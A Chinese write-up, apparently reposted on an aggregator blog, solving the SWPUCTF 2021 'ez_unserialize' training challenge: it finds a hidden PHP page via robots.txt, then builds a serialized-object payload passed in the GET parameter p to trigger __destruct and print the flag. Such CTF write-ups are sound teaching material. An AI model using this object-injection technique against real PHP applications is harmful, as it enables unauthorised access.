[SWPUCTF 2021 新生赛] ez_unserialize

news/2024/10/17 21:25:09/

打开链接但是没有题目

 使用御剑扫一下

flag.php打不开,但是在robots.txt里面我们找到了一个路径 /cl45s.php

 打开之后是PHP源码

简单审一下,构造pop链:

链尾(就是最终我们想要利用的地方),在echo $flag 并且include了flag.php

往上看,发现只需要满足  ($this->admin === "admin" && $this->passwd === "ctf")

即admin="admin",passwd="ctf"

再往上看,发现执行这条语句我们需要触发__destruct()函数

__destruct是析构函数,会在对象的所有引用被删除或者当对象被显式销毁时自动执行,比如new完一个对象,当创建完成之后就不引用了,如果有赋值指向就会立马丢弃,触发destruct函数。

这里还有一个__construct()构造函数,它是在实例化一个对象(即new时)会自动调用。

上脚本:

<?php
class wllm{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __destruct(){if($this->admin === "admin" && $this->passwd === "ctf"){include("flag.php");echo $flag;}else{echo $this->admin;echo $this->passwd;echo "Just a bit more!";}}
}$w=new wllm();
$w->admin="admin";
$w->passwd="ctf";
$w=serialize($w);
echo $w;

关于脚本的解释:

我们将题目给的类放进去

后面先实例化这个类,此时会触发__construct()函数,并进行如下变量的赋值:

$admin ="user"

%passwd = "123456"

但是不影响,我们再给它们进行一次赋值,赋值成符合下面if语句判断的值

$w->admin="admin";
$w->passwd="ctf";

(这里的w就是实例化后的类wllm,->是调用的意思,调用wllm类里面的这两个变量进行赋值)

 我们说过new结束后,会触发__destruct()函数,此时来到if语句的判断,我们通过上面的赋值操作,让if语句判断为真,就会输出flag。

我们再将最终的$w用serialize函数进行序列化,并将结果输出:

得到 O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";} 

题目中提示要以get方式给p传参,并且会对传入参数进行反序列化操作

因此我们将序列化后的内容传给p即可

构造payload:

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

传入后直接回显flag

NSSCTF{7c700eec-a6b7-4c9e-87b0-c36876cfbd14} 


http://www.ppmy.cn/news/743013.html

相关文章

iOS内存扫描工具实现

由于不能告诉你的原因&#xff0c;我需要一个iOS下的&#xff0c;可以在指定App的内存中搜索字符串的工具。 找了一圈&#xff0c;发现一个比较接近的开源项目&#xff1a;rxmemscan&#xff0c;但是不支持搜索字符串&#xff0c;遂 修改 学习了一番。 又&#xff0c;修改后的…

IOS内存安全阈值测试

转载&#xff1a;https://blog.csdn.net/redcard0/article/details/89029329 在iOS性能测试中经常会出现的一个场景是游戏制作人会问到内存到多少才不会崩溃&#xff0c;为了解答这个问题我们特进行此次测试。这一篇是针对IOS的测试&#xff0c;感谢github大神已经有现成的开源…

iphone 如何渡过内存危机(OOM)

讲两件事情&#xff1a;第一件是我们必须做到的&#xff0c;不然OOM来袭会造成程序崩溃&#xff0c;第二件是我们最好做到的&#xff0c;不然OOM来袭我们不能彻底恢复。 1。防止OOM恢复过程中的crash 假设一个类有如下初始化和清除代码&#xff1a; void CMyClass::Init() …

centos7操作大全

不要走朋友,下面有很多安装教程&#xff08;注意查阅目录&#xff09; 基础命令 #查看cnetos7版本 cat /etc/centos-release #更改密码 passwd #(root指的是用户名&#xff0c;也可以不指定&#xff0c;默认更改当前用户) passwd root #删除文件命令 rm -f example.txt #删除…

可能是史上最全面的内存管理文章

iOS内存管理 概述 什么是内存管理 应用程序内存管理是在程序运行时分配内存(比如创建一个对象,会增加内存占用)与清除内存(比如销毁一个对象,会减少内存占用)的过程 为什么要管理内存 目前iPhone手机内存大多为1G,分配给每个应用程序的内存空间极其有限,当应用程序运行过程…

Android内存管理机制

转载地址&#xff1a;https://www.cnblogs.com/nathan909/p/5372981.html 1、基于Linux内存管理 Android系统是基于Linux 2.6内核开发的开源操作系统&#xff0c;而linux系统的内存管理有其独特的动态存储管理机制。不过Android系统对Linux的内存管理机制进行了优化&#xff0c…

取得当前iPhone内存使用量

文章转自&#xff1a;http://www.wangdg.com/?p482 #import <mach/mach.h> #import <mach/mach_host.h>static void print_free_memory () {mach_port_t host_port;mach_msg_type_number_t host_size;vm_size_t pagesize;host_port mach_host_self();host_size …

iPhone 内存管理

iPhone 内存管理 http://www.cnblogs.com/wwwkhd/archive/2011/01/12/1933788.html iPhone 内存管理(转) http://blog.csdn.net/ilysony/article/details/6332483 异步加载的网络图片的控件 http://hi.baidu.com/yangcong121/home http://dev.10086.cn/cmdn/wiki/i…